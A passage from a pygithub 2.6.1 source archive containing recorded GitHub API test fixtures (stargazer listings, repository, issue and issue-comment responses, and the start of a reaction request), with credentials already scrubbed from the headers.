/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JamesHarrison/subscriptions","organizations_url":"https://api.github.com/users/JamesHarrison/orgs","repos_url":"https://api.github.com/users/JamesHarrison/repos","events_url":"https://api.github.com/users/JamesHarrison/events{/privacy}","received_events_url":"https://api.github.com/users/JamesHarrison/received_events","type":"User","site_admin":false}},{"starred_at":"2009-10-21T21:55:54Z","user":{"login":"zemariamm","id":2427,"node_id":"MDQ6VXNlcjI0Mjc=","avatar_url":"https://avatars0.githubusercontent.com/u/2427?v=4","gravatar_id":"","url":"https://api.github.com/users/zemariamm","html_url":"https://github.com/zemariamm","followers_url":"https://api.github.com/users/zemariamm/followers","following_url":"https://api.github.com/users/zemariamm/following{/other_user}","gists_url":"https://api.github.com/users/zemariamm/gists{/gist_id}","starred_url":"https://api.github.com/users/zemariamm/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zemariamm/subscriptions","organizations_url":"https://api.github.com/users/zemariamm/orgs","repos_url":"https://api.github.com/users/zemariamm/repos","events_url":"https://api.github.com/users/zemariamm/events{/privacy}","received_events_url":"https://api.github.com/users/zemariamm/received_events","type":"User","site_admin":false}},{"starred_at":"2009-10-21T21:55:54Z","user":{"login":"tgittos","id":2472,"node_id":"MDQ6VXNlcjI0NzI=","avatar_url":"https://avatars3.githubusercontent.com/u/2472?v=4","gravatar_id":"","url":"https://api.github.com/users/tgittos","html_url":"https://github.com/tgittos","followers_url":"https://api.github.com/users/tgittos/followers","following_url":"https://api.github.com/users/tgittos/following{/other_user}","gists_url":"https://api.github.com/users/tgittos/gists{/gist_id}","starred_url":"https://api.github.com/users/tgittos/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/tgittos/subscriptions","organizations_url":"https://api.github.com/users/tgittos/orgs","repos_url":"https://api.github.com/users/tgittos/repos","events_url":"https://api.github.com/users/tgittos/events{/privacy}","received_events_url":"https://api.github.com/users/tgittos/received_events","type":"User","site_admin":false}},{"starred_at":"2009-10-21T21:55:54Z","user":{"login":"lhl","id":2581,"node_id":"MDQ6VXNlcjI1ODE=","avatar_url":"https://avatars2.githubusercontent.com/u/2581?v=4","gravatar_id":"","url":"https://api.github.com/users/lhl","html_url":"https://github.com/lhl","followers_url":"https://api.github.com/users/lhl/followers","following_url":"https://api.github.com/users/lhl/following{/other_user}","gists_url":"https://api.github.com/users/lhl/gists{/gist_id}","starred_url":"https://api.github.com/users/lhl/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/lhl/subscriptions","organizations_url":"https://api.github.com/users/lhl/orgs","repos_url":"https://api.github.com/users/lhl/repos","events_url":"https://api.github.com/users/lhl/events{/privacy}","received_events_url":"https://api.github.com/users/lhl/received_events","type":"User","site_admin":false}},{"starred_at":"2009-10-21T21:55:54Z","user":{"login":"gabriel","id":2669,"node_id":"MDQ6VXNlcjI2Njk=","avatar_url":"https://avatars2.githubusercontent.com/u/2669?v=4","gravatar_id":"","url":"https://api.github.com/users/gabriel","html_url":"https://github.com/gabriel","followers_url":"https://api.github.com/users/gabriel/followers","following_url":"https://api.github.com/users/gabriel/following{/other_user}","gists_url":"https://api.github.com/users/gabriel/gists{/gist_id}","starred_url":"https://api.github.com/users/gabriel/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/gabriel/subscriptions","organizations_url":"https://api.github.com/users/gabriel/orgs","repos_url":"https://api.github.com/users/gabriel/repos","events_url":"https://api.github.com/users/gabriel/events{/privacy}","received_events_url":"https://api.github.com/users/gabriel/received_events","type":"User","site_admin":false}},{"starred_at":"2009-10-21T21:55:54Z","user":{"login":"paulreimer","id":2677,"node_id":"MDQ6VXNlcjI2Nzc=","avatar_url":"https://avatars2.githubusercontent.com/u/2677?v=4","gravatar_id":"","url":"https://api.github.com/users/paulreimer","html_url":"https://github.com/paulreimer","followers_url":"https://api.github.com/users/paulreimer/followers","following_url":"https://api.github.com/users/paulreimer/following{/other_user}","gists_url":"https://api.github.com/users/paulreimer/gists{/gist_id}","starred_url":"https://api.github.com/users/paulreimer/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/paulreimer/subscriptions","organizations_url":"https://api.github.com/users/paulreimer/orgs","repos_url":"https://api.github.com/users/paulreimer/repos","events_url":"https://api.github.com/users/paulreimer/events{/privacy}","received_events_url":"https://api.github.com/users/paulreimer/received_events","type":"User","site_admin":false}},{"starred_at":"2009-10-21T21:55:54Z","user":{"login":"kevinchiu","id":2712,"node_id":"MDQ6VXNlcjI3MTI=","avatar_url":"https://avatars3.githubusercontent.com/u/2712?v=4","gravatar_id":"","url":"https://api.github.com/users/kevinchiu","html_url":"https://github.com/kevinchiu","followers_url":"https://api.github.com/users/kevinchiu/followers","following_url":"https://api.github.com/users/kevinchiu/following{/other_user}","gists_url":"https://api.github.com/users/kevinchiu/gists{/gist_id}","starred_url":"https://api.github.com/users/kevinchiu/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kevinchiu/subscriptions","organizations_url":"https://api.github.com/users/kevinchiu/orgs","repos_url":"https://api.github.com/users/kevinchiu/repos","events_url":"https://api.github.com/users/kevinchiu/events{/privacy}","received_events_url":"https://api.github.com/users/kevinchiu/received_events","type":"User","site_admin":false}},{"starred_at":"2009-10-21T21:55:54Z","user":{"login":"kumekay","id":2738,"node_id":"MDQ6VXNlcjI3Mzg=","avatar_url":"https://avatars1.githubusercontent.com/u/2738?v=4","gravatar_id":"","url":"https://api.github.com/users/kumekay","html_url":"https://github.com/kumekay","followers_url":"https://api.github.com/users/kumekay/followers","following_url":"https://api.github.com/users/kumekay/following{/other_user}","gists_url":"https://api.github.com/users/kumekay/gists{/gist_id}","starred_url":"https://api.github.com/users/kumekay/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kumekay/subscriptions","organizations_url":"https://api.github.com/users/kumekay/orgs","repos_url":"https://api.github.com/users/kumekay/repos","events_url":"https://api.github.com/users/kumekay/events{/privacy}","received_events_url":"https://api.github.com/users/kumekay/received_events","type":"User","site_admin":false}},{"starred_at":"2009-10-21T21:55:54Z","user":{"login":"peej","id":2858,"node_id":"MDQ6VXNlcjI4NTg=","avatar_url":"https://avatars1.githubusercontent.com/u/2858?v=4","gravatar_id":"","url":"https://api.github.com/users/peej","html_url":"https://github.com/peej","followers_url":"https://api.github.com/users/peej/followers","following_url":"https://api.github.com/users/peej/following{/other_user}","gists_url":"https://api.github.com/users/peej/gists{/gist_id}","starred_url":"https://api.github.com/users/peej/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/peej/subscriptions","organizations_url":"https://api.github.com/users/peej/orgs","repos_url":"https://api.github.com/users/peej/repos","events_url":"https://api.github.com/users/peej/events{/privacy}","received_events_url":"https://api.github.com/users/peej/received_events","type":"User","site_admin":false}},{"starred_at":"2009-10-21T21:55:54Z","user":{"login":"stinie","id":3000,"node_id":"MDQ6VXNlcjMwMDA=","avatar_url":"https://avatars2.githubusercontent.com/u/3000?v=4","gravatar_id":"","url":"https://api.github.com/users/stinie","html_url":"https://github.com/stinie","followers_url":"https://api.github.com/users/stinie/followers","following_url":"https://api.github.com/users/stinie/following{/other_user}","gists_url":"https://api.github.com/users/stinie/gists{/gist_id}","starred_url":"https://api.github.com/users/stinie/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/stinie/subscriptions","organizations_url":"https://api.github.com/users/stinie/orgs","repos_url":"https://api.github.com/users/stinie/repos","events_url":"https://api.github.com/users/stinie/events{/privacy}","received_events_url":"https://api.github.com/users/stinie/received_events","type":"User","site_admin":false}},{"starred_at":"2009-10-21T21:55:54Z","user":{"login":"subblue","id":3010,"node_id":"MDQ6VXNlcjMwMTA=","avatar_url":"https://avatars3.githubusercontent.com/u/3010?v=4","gravatar_id":"","url":"https://api.github.com/users/subblue","html_url":"https://github.com/subblue","followers_url":"https://api.github.com/users/subblue/followers","following_url":"https://api.github.com/users/subblue/following{/other_user}","gists_url":"https://api.github.com/users/subblue/gists{/gist_id}","starred_url":"https://api.github.com/users/subblue/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/subblue/subscriptions","organizations_url":"https://api.github.com/users/subblue/orgs","repos_url":"https://api.github.com/users/subblue/repos","events_url":"https://api.github.com/users/subblue/events{/privacy}","received_events_url":"https://api.github.com/users/subblue/received_events","type":"User","site_admin":false}},{"starred_at":"2009-10-21T21:55:54Z","user":{"login":"mineiro","id":3123,"node_id":"MDQ6VXNlcjMxMjM=","avatar_url":"https://avatars1.githubusercontent.com/u/3123?v=4","gravatar_id":"","url":"https://api.github.com/users/mineiro","html_url":"https://github.com/mineiro","followers_url":"https://api.github.com/users/mineiro/followers","following_url":"https://api.github.com/users/mineiro/following{/other_user}","gists_url":"https://api.github.com/users/mineiro/gists{/gist_id}","starred_url":"https://api.github.com/users/mineiro/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mineiro/subscriptions","organizations_url":"https://api.github.com/users/mineiro/orgs","repos_url":"https://api.github.com/users/mineiro/repos","events_url":"https://api.github.com/users/mineiro/events{/privacy}","received_events_url":"https://api.github.com/users/mineiro/received_events","type":"User","site_admin":false}}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/IssueComment.setUp.txt0000644000175100001660000005014714756101563022440 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Fri, 03 Jan 2025 20:15:21 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"f5cc8602b1810af03dbb6c6362f001a1e6360ddab7e5169b030d5cb0e172da51"'), ('Last-Modified', 'Fri, 03 Jan 2025 18:50:01 GMT'), ('X-OAuth-Scopes', 'read:discussion, repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2025-02-04 16:42:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4996'), ('X-RateLimit-Reset', '1735938877'), ('X-RateLimit-Used', '4'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', 'E454:47716:2474086A:25582295:67784559')] {"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","user_view_type":"public","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2025-01-03T18:50:01Z","pushed_at":"2024-12-19T12:01:11Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":16425,"stargazers_count":7117,"watchers_count":7117,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1793,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":356,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1793,"open_issues":356,"watchers":7117,"default_branch":"main","permissions":{"admin":true,"maintain":true,"push":true,"triage":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":false,"allow_rebase_merge":false,"allow_auto_merge":false,"delete_branch_on_merge":true,"allow_update_branch":true,"use_squash_pr_title_as_default":true,"squash_merge_commit_message":"PR_BODY","squash_merge_commit_title":"PR_TITLE","merge_commit_message":"PR_TITLE","merge_commit_title":"MERGE_MESSAGE","custom_properties":{},"organization":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","user_view_type":"public","site_admin":false},"security_and_analysis":{"secret_scanning":{"status":"disabled"},"secret_scanning_push_protection":{"status":"disabled"},"dependabot_security_updates":{"status":"enabled"},"secret_scanning_non_provider_patterns":{"status":"disabled"},"secret_scanning_validity_checks":{"status":"disabled"}},"network_count":1793,"subscribers_count":111} https GET api.github.com None /repos/PyGithub/PyGithub/issues/28 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Fri, 03 Jan 2025 20:15:22 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"4f9f2e3ae3fbedf89903cc5b9b41c547de19b5604d701a91684de32048920575"'), ('Last-Modified', 'Sun, 20 Oct 2024 07:14:52 GMT'), ('X-OAuth-Scopes', 'read:discussion, repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2025-02-04 16:42:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4995'), ('X-RateLimit-Reset', '1735938877'), ('X-RateLimit-Used', '5'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', 'E45E:7CD91:22BE540A:23A26FDD:67784559')] {"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/28","repository_url":"https://api.github.com/repos/PyGithub/PyGithub","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/28/labels{/name}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/28/comments","events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/28/events","html_url":"https://github.com/PyGithub/PyGithub/issues/28","id":4653757,"node_id":"MDU6SXNzdWU0NjUzNzU3","number":28,"title":"Issue created by PyGithub","user":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","user_view_type":"public","site_admin":false},"labels":[{"id":3330121,"node_id":"MDU6TGFiZWwzMzMwMTIx","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/bug","name":"bug","color":"e10c02","default":true,"description":null},{"id":3376821,"node_id":"MDU6TGFiZWwzMzc2ODIx","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/question","name":"question","color":"02e10c","default":true,"description":null}],"state":"closed","locked":false,"assignee":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","user_view_type":"public","site_admin":false},"assignees":[{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","user_view_type":"public","site_admin":false}],"milestone":{"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/8","html_url":"https://github.com/PyGithub/PyGithub/milestone/8","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/8/labels","id":150933,"node_id":"MDk6TWlsZXN0b25lMTUwOTMz","number":8,"title":"Version 1.4","description":"","creator":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","user_view_type":"public","site_admin":false},"open_issues":0,"closed_issues":3,"state":"closed","created_at":"2012-07-24T16:04:28Z","updated_at":"2012-09-11T18:52:13Z","due_on":"2012-08-05T07:00:00Z","closed_at":"2012-08-04T06:11:43Z"},"comments":3,"created_at":"2012-05-19T10:38:23Z","updated_at":"2019-05-03T09:44:22Z","closed_at":"2012-05-26T14:59:33Z","author_association":"MEMBER","active_lock_reason":null,"body":"Body edited by PyGithub\n","closed_by":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","user_view_type":"public","site_admin":false},"reactions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/28/reactions","total_count":2,"+1":0,"-1":0,"laugh":0,"hooray":2,"confused":0,"heart":0,"rocket":0,"eyes":0},"timeline_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/28/timeline","performed_via_github_app":null,"state_reason":"completed"} https GET api.github.com None /repos/PyGithub/PyGithub/issues/comments/20227753 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Fri, 03 Jan 2025 20:15:22 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"06c63805d93f4e1b6dbbaeaa1b30b3ccf26cdab452e95278b3926f453bca2426"'), ('X-OAuth-Scopes', 'read:discussion, repo'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2025-02-04 16:42:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4994'), ('X-RateLimit-Reset', '1735938877'), ('X-RateLimit-Used', '6'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', 'E468:5A83E:2199C6B2:227DE3C3:6778455A')] {"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/20227753","html_url":"https://github.com/PyGithub/PyGithub/issues/28#issuecomment-20227753","issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/28","id":20227753,"node_id":"MDEyOklzc3VlQ29tbWVudDIwMjI3NzUz","user":{"login":"stuglaser","id":1527117,"node_id":"MDQ6VXNlcjE1MjcxMTc=","avatar_url":"https://avatars.githubusercontent.com/u/1527117?v=4","gravatar_id":"","url":"https://api.github.com/users/stuglaser","html_url":"https://github.com/stuglaser","followers_url":"https://api.github.com/users/stuglaser/followers","following_url":"https://api.github.com/users/stuglaser/following{/other_user}","gists_url":"https://api.github.com/users/stuglaser/gists{/gist_id}","starred_url":"https://api.github.com/users/stuglaser/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/stuglaser/subscriptions","organizations_url":"https://api.github.com/users/stuglaser/orgs","repos_url":"https://api.github.com/users/stuglaser/repos","events_url":"https://api.github.com/users/stuglaser/events{/privacy}","received_events_url":"https://api.github.com/users/stuglaser/received_events","type":"User","user_view_type":"public","site_admin":false},"created_at":"2013-06-29T10:31:38Z","updated_at":"2013-06-29T10:31:38Z","author_association":"CONTRIBUTOR","body":"Comment created by PyGithub\n","reactions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/20227753/reactions","total_count":2,"+1":1,"-1":0,"laugh":0,"hooray":1,"confused":0,"heart":0,"rocket":0,"eyes":0},"performed_via_github_app":null} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/IssueComment.testCreateReaction.txt0000644000175100001660000000457114756101563025130 0ustar00runnerdockerhttps POST api.github.com None /repos/PyGithub/PyGithub/issues/comments/20227753/reactions {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'Accept': 'application/vnd.github.squirrel-girl-preview', 'User-Agent': 'PyGithub/Python'} {"content": "hooray"} 201 [('content-length', '999'), ('x-runtime-rack', '0.057485'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('x-oauth-scopes', 'repo, user'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', '"4fa5b2fc1d006ba2d2732c3a5d07b6e4"'), ('cache-control', 'private, 